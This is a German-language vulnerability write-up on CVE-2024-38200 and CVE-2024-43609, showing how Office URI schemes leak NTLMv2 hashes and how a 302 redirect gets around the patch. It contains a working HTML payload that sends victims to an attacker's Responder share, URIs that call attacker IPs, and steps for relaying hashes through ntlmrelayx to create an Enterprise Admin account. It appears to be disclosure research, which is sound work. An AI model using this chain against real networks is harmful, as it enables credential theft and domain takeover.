
CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2-Offenlegungsschwachstelle
Das Erfassen des NTLMv2-Hashes über die HTTP-Methode wurde nicht behoben. Der NTLMv2-Hash-Wert kann weiterhin über HTTP erlangt und an LDAP oder ADCS weitergereicht werden. MSRC erklärte zu dieser Situation: „So wie dargestellt, scheint dies Teil des aktuellen Designs zu sein.“
Selbst wenn diese Schwachstelle behoben wird, kann der Hash-Wert – wie im Abschnitt Integrierte Windows-Authentifizierung beschrieben – weiterhin mit den Standardeinstellungen erlangt und weitergereicht werden.
Zuvor wurde eine Methode zum Erfassen von NTLMv2-Hashes über SMB mithilfe der Office-URI-Schemas geteilt. Die Grundidee war einfach. Senden Sie die URL der folgenden HTML-Datei an das Opfer und erfassen Sie den NTLMv2-Hash über SMB. LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Das ist der inspirierende Punkt für mich. Wenn wir uns die Seite Office URI Schemes ansehen, sehen wir, dass https:// innerhalb des URI-Schemas verwendet wird. Diese Situation deutet darauf hin, dass http:// potenziell ebenfalls verwendet werden kann. Das Erfassen des NTLMv2-Hashes über HTTP ist vorteilhafter als über SMB, um einen NTLM-Relaying-Angriff gegen einen Domänencontroller durchzuführen Relaying Chart.
Als ich die URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx gegen Office 2016 MSO (16.0.4266.1001) 32-Bit verwendete, erschien ein Warnfeld, um den Benutzer vor bösartigen Aktivitäten zu schützen, aber das kann ich für Microsoft 365 Office und Office 2019 nicht behaupten. Diese Versionen greifen ohne Warnung auf eine entfernte Office-Datei zu und können ausgenutzt werden, um den NTLMv2-Hash über SMB- und HTTP-Protokolle zu erfassen.

Ich habe festgestellt, dass der Patch für CVE-2024-38200 nicht korrekt angewendet wurde. Nach der Veröffentlichung des Patches habe ich die Schwachstelle gegen Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) und Microsoft 365 MSO 2408 Build 16.0.17928.20114 getestet und festgestellt, dass die Schwachstelle weiterhin wie unten gezeigt ausgenutzt werden kann CVE-2024-43609.
Wir können eine HTTP-Anfrage per 302-Weiterleitung auf einen UNC-Pfad umleiten, wenn eine Office-Anwendung eine Anfrage über Office-URI-Schemas stellt (z. B. ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Das Skript uncredirect.py verarbeitet die HTTP-Anfrage, die mit einem MS-Office-URI-Schema gesendet wird, und leitet sie auf einen UNC-Pfad um, der die IP-Adresse von Responder enthält. Diese Situation würde es ermöglichen, den NTLMv2-Hash über SMB zu erfassen und die Sicherheitsbeschränkung für die URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx zu umgehen.

uncredirect.py und responder.office.html an den Benutzer des Opfers.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Das Erfassen des NTLMv2-Hashes über HTTP ist für das Relaying an LDAP vorteilhafter als über SMB. Wenn eine Datei über eine Office-URI angefordert wird, kann der NTLMv2-Hash über HTTP erlangt werden, ohne mithilfe einer 302-Weiterleitung auf einen UNC-Pfad umzuleiten. Diese Ausnutzungsmethode kann nicht über das Internet durchgeführt werden, da – sofern keine Fehlkonfiguration in den Internetoptionen vorliegt – für einen Host außerhalb des Unternehmensnetzwerks keine NTLM-Authentifizierung über HTTP erfolgt.
Ich glaube jedoch, dass dies eine effektive Methode für Relaying-Angriffe und die Eskalation von Berechtigungen ist.
Die Einstellungen der „Internetoptionen“ beeinflussen das NTLM-Authentifizierungsverhalten von Office-Anwendungen. Wir können dies an einigen Beispielen sehen. Nehmen wir an, wir verwenden das URI-Format ms-excel:ofe|u|http://192.168.1.7/leak.xlsx, um den NTLMv2-Hash zu erfassen.
Wenn eine der unten aufgeführten GPOs auf einen in die Domäne eingebundenen Opfercomputer angewendet wird, führt die Office-Anwendung die Authentifizierung automatisch durch.
Automatische Anmeldung mit aktuellem Benutzernamen und Kennwort ist für Benutzerauthentifizierung in der Internetzone festgelegtLokales Intranet hinzugefügt (z. B. 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Vertrauenswürdige Sites hinzugefügt (z. B. 192.168.*.* , 192.168.0-255.* , 192.168.1.7) und Automatische Anmeldung mit aktuellem Benutzernamen und Kennwort ist für Benutzerauthentifizierung in der Zone Vertrauenswürdige Sites festgelegt
Falls eine der oben genannten GPOs angewendet wird, wird nach dem Klick des Opferbenutzers auf die URI die Datei leak.docx von der Office-Anwendung vom Server des Angreifers abgerufen und der NTLMv2-Hash erlangt, da die angewendete GPO bewirkt, dass die NTLM-Authentifizierung automatisch erfolgt.

Beispielszenario für den Missbrauch der GPO:
Nachdem die Office-URI mit der IP-Adresse festgelegt wurde (z. B. ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), können wir die URL der office.html an einen Benutzer mit Domänenadministratorrechten senden und den erfassten Hash mithilfe von ntlmrelayx an den LDAP(S)-Server weiterleiten. Der ntlmrelayx erstellt mit nur einem Klick auf die Schaltfläche „Öffnen“ einen neuen Benutzer und fügt ihn zur Gruppe „Enterprise-Admins“ hinzu.
Hinweis:
Die über GPO hinzugefügten Sites können mithilfe der folgenden Registrierungsschlüssel aufgelistet werden.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Wenn keine der oben genannten GPOs angewendet wird, erfolgt die NTLM-Authentifizierung nicht automatisch. Wenn wir jedoch einen DNS-A-Eintrag hinzufügen und diesen Eintrag in der Office-URI verwenden, betrachtet Windows den Hostnamen als Teil der Intranetzone. Auf diese Weise erfolgt die NTLMv2-Authentifizierung automatisch, und ein Standardbenutzer kann Berechtigungen eskalieren, ohne eine fehlkonfigurierte GPO zu benötigen. Jeder Domänenbenutzer mit Standardrechten kann einen nicht vorhandenen DNS-Eintrag hinzufügen – daher funktioniert dieser Angriff mit den Standardeinstellungen für einen Domänenbenutzer.
